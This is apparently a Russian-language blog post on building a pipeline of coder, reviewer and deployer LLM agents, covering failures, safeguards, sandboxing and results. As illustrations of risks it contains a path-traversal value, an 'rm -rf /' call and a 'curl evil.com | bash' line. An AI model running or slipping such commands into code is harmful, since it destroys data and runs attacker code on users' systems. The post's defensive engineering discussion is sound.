Месяц назад я закинул задачу на рефакторинг модуля авторизации и пошёл варить кофе. Кофе я допить не успел. Через двадцать три минуты пришло уведомление в ТГ: «staging обновлён, 94 теста пройдено, 0 упало».

Открыл репозиторий. Ветка, diff на два экрана. Code review от второго агента. Три замечания, два по делу. Третий агент прогнал тесты и задеплоил.

Код был чище, чем я обычно пишу по пятницам.

Но до этого момента были три месяца граблей, упавший продакшен, и одна ночь, когда агенты сделали десятки бесполезных коммитов. Обо всём по порядку.


Один агент. Один мозг. Ноль сомнений

Все сейчас говорят про Claude Code и Cursor. Дай агенту задачу, получи результат. Красиво на демо. В жизни иначе.

Один агент пишет код. Он же его проверяет. Он же решает, достаточно ли хорошо получилось. Это как если бы один человек написал статью, сам её отредактировал и сам утвердил к печати. Мы все знаем, чем это заканчивается.

В разработке эту проблему решили давно. Код ревьюит другой человек. Тесты прогоняет CI. На staging смотрят перед продом. Но с ИИ-агентами мы почему-то забыли всё, что знали.

Три месяца назад я на это наступил. Агент рефакторил сервис нотификаций. Написал код, прогнал тесты, всё зелёное. Я мержнул. Через два часа продакшен лёг. Агент удалил обработку retry для failed webhooks. Тесты не покрывали этот кейс. Агент не знал, что он важен. Не спросил. Не сомневался.

Модели не знают, чего они не знают.

И в этот момент я задумался. Не «какую модель взять помощнее», а «как выстроить процесс, в котором ошибки ловятся до прода». Как мы делаем с людьми.


Три роли. Как в настоящей команде

Идея простая. Берём структуру нормальной команды и воспроизводим из агентов.

Кодер получает задачу и пишет код. Только код. Не проверяет себя, не деплоит, не думает о CI. Его работа: взять описание задачи, изучить конте��ст проекта, сгенерировать изменения, закоммитить и запушить ветку.

Ревьюер получает ветку и читает diff. Ищет баги, проблемы с производительностью, дыры в безопасности. Важно: он не видит промпт, который получил кодер. Не знает, какую задачу тот решал. Оценивает только результат. На холодную.

Деплоер получает одобренную ветку, прогоняет тесты в изолированном Docker-контейнере, мержит, деплоит на staging. Если тесты падают, отправляет логи обратно кодеру.

Между ними нет прямого общения. Только git и очередь задач. Кодер пушит ветку. Ревьюер читает diff. Деплоер запускает пайплайн. Как микросервисы: через сообщения, не через прямые вызовы.

Почему не напрямую? Потому что когда два LLM начинают разговаривать, они входят в петлю вежливых согласий. «Отличный код!» — «Спасибо, может доработаем?» — «Конечно, ваши замечания очень ценны!» Бесполезно. Изоляция через git убивает эту динамику.


Кодер: три решения, которые всё изменили

Первая версия кодера была наивной. Клонируй репо, спроси LLM, запиши файлы, запуши. Сломалась на второй день.

Проблема первая: ветка уже существует. Когда ревьюер блокирует код и задача возвращается на фикс, ветка уже запушена. git checkout -b branch падает с ошибкой. Решение: перед созданием ветки проверять через git ls-remote, существует ли она. Если да, переключаться на неё. Если нет, создавать новую.

Звучит очевидно. Но я потратил вечер на отладку, прежде чем понял, почему фиксы не работают.

Проблема вторая: модель возвращает мусор. Иногда LLM отвечает не в ожидаемом формате. Вместо файлов с кодом присылает объяснение, что она сделала. Или оборачивает ответ в лишний markdown. Результат: ни один файл не записывается, но коммит всё равно проходит. Пустой. Решение: считать количество записанных файлов. Если ноль, вернуть ошибку, а не пустой коммит.

Проблема третья: path traversal. Модель может вернуть путь вроде ../../../etc/passwd. В системном промпте написано «не делай так». Но промпты это пожелания, а не гарантии. Решение: после парсинга пути проверять, что он не выходит за пределы репозитория. Одна строка с resolve().relative_to(). Десять минут на написание. Потенциально спасает от катастрофы.

Ещё одна вещь, которая сильно влияет на качество: системный промпт. Вот его ключевая часть:

Ты — опытный Python-разработчик. 
Не объясняй. Не извиняйся. Только код.
НИКОГДА не хардкодь URL, токены, пароли. Используй os.environ.

Без «не объясняй» модель тратит 60% токенов на фразы вроде «Конечно! Я с удовольствием помогу вам с этой задачей…» Без «не хардкодь» кодер несколько раз закоммитил DATABASE_URL=postgres://prod:password@... прямо в код.


Ревьюер: «не хвали код»

Ревьюер стал самой интересной частью системы. И самой капризной.

Первая версия ревьюера была вежливой. В 70% случаев она писала: «Отличная работа! Код чистый и хорошо структурированный. Мелкие замечания: ...» Бесполезно. Я не для этого строил конвейер.

Три изменения в промпте всё исправили.

«Не хвали код.» Буквально. Эти три слова в системном промпте убрали 90% пустых комплиментов. Ревьюер стал сухим и конкретным. Как тот коллега, которого все немного боятся, но чьи замечания реально полезны.

Разделение на CRITICAL, WARNING и STYLE. BLOCK ставится только при наличии CRITICAL. WARNING и STYLE допустимы при APPROVE. До этого разделения 40% задач блокировались из-за стилистических мелочей. После: процент approve с первой попытки вырос с 60% до 85%.

«Не выдумывай проблемы.» Ревьюер иногда галлюцинирует. Находит NullPointerException в Python-коде. Видит SQL-инъекцию там, где параметризованный запрос. Бывает. Эта инструкция снижает частоту ложных срабатываний, хотя не устраняет полностью. Когда такое всё же случается, кодер при фиксе просто игнорирует нерелевантное замечание. Не идеально, но работает.

Ключевой архитектурный момент: ревьюер не видит описание задачи. Он не знает, «что автор хотел сказать». Только diff. Это делает ревью честнее. Когда один агент пишет и проверяет, он знает свои намерения и прощает себе несоответствия между планом и реализацией. Второй агент этой слабости лишён.


Деплоер: sandbox, а не доверие

Деплоер самый скучный из трёх. И самый важный.

Его главная задача: запустить тесты. Но не абы как.

В первой версии я запускал pytest прямо в среде оркестратора. На том же сервере, где крутится весь конвейер. Подумайте секунду, что это значит. Сгенерированный код, который вы ни разу не видели, выполняется на вашей машине с полным доступом ко всему. Если модель сгенерирует import os; os.system("rm -rf /"), это выполнится при запуске тестов.

Я осознал это в 2 часа ночи, когда перечитывал код и покрылся холодным потом.

Сейчас тесты запускаются внутри Docker-контейнера с жёсткими ограничениями:

"docker", "run", "--rm",
"--network", "none",      # Без доступа к с��ти
"--memory", "512m",        # Лимит памяти
"--cpus", "1",             # Лимит CPU
"--pids-limit", "100",     # Защита от форк-бомб

Без сети. С лимитом памяти. С таймаутом в 5 минут. Если сгенерированный код попытается curl evil.com | bash, это просто не сработает. Если уйдёт в бесконечный цикл, контейнер умрёт по таймауту. После каждого запуска контейнер уничтожается.

Остальные функции деплоера прозаичны: линтинг через ruff (с попыткой автофикса), merge ветки, деплой на staging, уведомление в Telegram.

Единственное место, где деплоер вызывает LLM: разрешение merge-конфликтов. Звучит страшно. На практике работает в 80% случаев, потому что конфликты обычно тривиальные: два изменения в соседних строках. Для сложных конфликтов задача уходит в эскалацию.


Оркестратор: три предохранителя, которые стоили мне бессонных ночей

Оркестратор не LLM-агент. Просто бесконечный цикл на Python, который слушает очереди Redis и запускает нужного агента. Но внутри него три вещи, каждую из которых я добавил после конкретного провала.

Предохранитель первый: лимит попыток

Без него случилась ночь 47 коммитов.

Кодер написал код. Ревьюер нашёл проблему, заблокировал. Кодер исправил, но сломал другое. Ревьюер заблокировал по новой причине. Кодер исправил, сломал третье. И так далее. К утру код стал хуже оригинала. Каждая итерация фикса ухудшала качество, потому что кодер латал дыры, не видя общей картины.

Теперь: максимум 3 попытки. После третьей неудачи задача уходит в эскалацию, я получаю уведомление в Telegram и доделываю руками. Из 127 задач за месяц в эскалацию ушли 15. Нормальная цена за спокойный сон.

Предохранитель второй: лок на репозиторий

Одна задача на один репозиторий одновременно. Без этого два агента параллельно менят один файл, потом merge-конфликт, потом LLM разрешает его неправильно, потом main сломан.

В оркестраторе обычный threading.Lock на URL репозитория. Если репо занят, задача возвращается в очередь и ждёт. Масштабирование: не параллельные задачи внутри одного репо, а параллельная работа с разными репозиториями.

Предохранитель третий: надёжная очередь

Первая версия использовала LPOP из Redis. Забираешь задачу из списка, обрабатываешь. Проблема: если оркестратор падает после LPOP, но до обработки, задача пропала навсегда. Redis её уже отдал. Обработчик её не получил.

Перешёл на Redis Streams с consumer groups. XREADGROUP забирает задачу, но не удаляет. XACK подтверждает обработку. Если оркестратор упал, при рестарте XCLAIM подберёт зависшие задачи. Ни одна задача не теряется.


Про память: почему здесь она не нужна

Если вы читали мою статью про долгосрочную память для агентов (Redis + семантический поиск + граф фактов), то можете удивиться: где всё это?

Нигде. Здесь другая задача.

Каждая задача атомарная и изолированная. Агент получает тикет, контекст проекта, пишет код, пушит. Всё. Ему не нужно помнить, что было вчера. Весь контекст приходит с задачей: описание, релевантные файлы, архитектурные заметки.

Это как разница между штатным сотрудником и фрилансером на один таск. Штатному нужна память о проекте. Фрилансеру нужен хороший бриф.

Роль брифа играет файл CLAUDE.md в корне проекта. Архитектурные решения, конвенции, что нельзя трогать. Онбординг для ИИ-разработчика. Если не пробовали, попробуйте. Разница заметна.


Грабли. Полная коллекция

Я собрал всё, что ломалось. Не для жалоб, а потому что чужие грабли экономят время лучше, чем чужие успехи.

Контекст не влезает. Большие файлы не помещаются в контекстное окно целиком. Обрезка по лимиту символов теряет важные части. Решение, к которому я пришёл: два вызова LLM вместо одного. Первый: «вот структура проекта, какие файлы тебе нужны для этой задачи?». Второй: «вот эти файлы, пиши код». Дороже, но качественнее.

Кодер хардкодит секреты. Несмотря на инструкцию в промпте, примерно в 5% случаев в коде появляются жёстко прописанные URL или токены. Промпты это пожелания, не гарантии. Спасает ревьюер: у него в промпте явно прописано искать захардкоженные секреты. Два агента ловят то, что каждый по отдельности пропускает.

Ревьюер галлюцинирует. «В строке 42 возможен NullPointerException.» В Python. Бывает. Частота снижается инструкцией «не выдумывай проблемы» и разделением на уровни серьёзности. Ложные срабатывания чаще попадают в WARNING, а BLOCK ставится только при CRITICAL.

Пустой коммит. Модель отвечает не в формате. Regex не матчится. Ни один файл не записывается. Но git commit проходит (пустой). Ревьюер получает пустой diff. Деплоер мержит пустоту. Решение: проверять, что хотя бы один файл записан, перед коммитом. Один if, который спас от десятка фантомных мержей.

Ruff ломает тесты. Деплоер запускает ruff --fix для автоматического исправления стиля. Иногда автофикс меняет логику (удаляет «неиспользуемый» импорт, который используется через eval или в тестах). А тесты после автофикса не перезапускаются. На моём списке доработок.

Docker-sandbox с write-доступом. Тесты запускаются в контейнере, но код монтируется с правом записи (pytest создаёт __pycache__ и .pytest_cache). Теоретически сгенерированный код может модифицировать файлы через монтирование. На практике --network none + --memory 512m + --pids-limit 100 + таймаут делают это малореалистичной угрозой. Но для по-настоящему параноидальных сценариев стоит копировать код в контейнер вместо монтирования.

Другие ночные кошмары пишу подробнее в токены на ветер. Там же на днях разберу случай, когда ревьюер три раза подряд заблокировал валидный код из-за галлюцинации.


Результаты за месяц

Числа по 127 задачам, прошедшим через конвейер:

Метрика

Значение

Закрыты автоматически с первой попытки

89 (70%)

Потребовали одну итерацию фикса

23 (18%)

Ушли в эскалацию (я доделывал руками)

15 (12%)

Среднее время от задачи до staging

14 минут

Моё время на аналогичные задачи раньше

2-4 часа

Стоимость на задачу (Claude Sonnet)

$0.15-0.25

Стоимость за месяц

~$25

Хорошо проходят: рефакторинг, CRUD-эндпоинты, написание тестов, обновление зависимостей, типизация, миграции, добавление логирования.

Плохо проходят: архитектурные изменения, задачи с неявными требованиями, оптимизация производительности, всё, что требует понимания «зачем» на уровне бизнеса.

Примерно как джуниор с хорошим онбордингом. Чёткий тикет — справляется. «Надо что-то сделать с перформансом» — теряется.


Почему три агента, а не один с тремя промптами

Этот вопрос задают чаще всего. Можно же одному агенту дать последовательно три промпта: напиши, проверь, задеплой.

Можно. Но хуже. Три причины.

Изоляция контекста. Ревьюер не видит промпт кодера. Не знает намерений. Видит только код. Когда один агент пишет и проверяет, он знает, что хотел сделать, и прощает себе расхождения между планом и результатом. Два разных агента этой слабости лишены.

Разные «личности». Кодер не боится ошибиться: его задача генерировать. Ревьюер параноидален: его задача находить проблемы. Деплоер механистичен: его задача выполнить пайплайн. Одна модель, три роли. Каждая работает лучше, когда не отвлекается на другие.

Отказоустойчивость. Кодер упал? Ревьюер и деплоер не затронуты. Задача вернётся в очередь. Один процесс с тремя промптами упал на втором шаге? Начинай сначала.


Философское

В теории управления есть закон Конвея: структура системы повторяет структуру организации, которая её создаёт. Три команды — три микросервиса. Два отдела — два API.

Я сделал наоборот. Взял структуру организации (кодер, ревьюер, деплоер) и воспроизвёл из агентов.

И заметил кое-что. Когда один агент решает задачу целиком, результат средний. Когда три агента работают в конвейере, результат стабильно лучше. Не потому что каждый стал умнее. Потому что процесс компенсирует ограничения каждого.

Ревьюер ловит то, что пропускает кодер. Тесты ловят то, что пропускает ревьюер. Лимит попыток ловит то, что не могут все трое.

Это не ИИ стал лучше. Это инженерия стала лучше.

Может быть, в этом и есть главный инсайт. Не ждать следующую модель. Не надеяться на GPT-6. Взять то, что есть, и выстроить нормальный процесс. Как мы всегда делали с людьми.


Что дальше

Четвёртый агент: архитектор. Перед кодером. Получает задачу, определяет какие файлы затронуть, рисует план. Кодер получает не абстрактное «добавь авторизацию», а конкретное «измени auth/middleware.py, добавь auth/jwt_validator.py, обнови tests/test_auth.py».

Обучение на ошибках. Сейчас каждая задача с чистого листа. Хочу сохранять заблокированные ревью и подкладывать кодеру как примеры «так не надо». Семантический поиск по прошлым ошибкам, релевантным текущей задаче.

Человеческий approve перед main. Для серьёзных проектов: агенты делают всё до merge, но финальное «да» ставит человек. Конвейер как усилитель, не как замена.


Если тема AI-агентов и в целом ИИ интересна: грабли, рабочие паттерны, разборы факапов— пишу в токены на ветер, иногда о том, как LLM думают, или просто притворяются.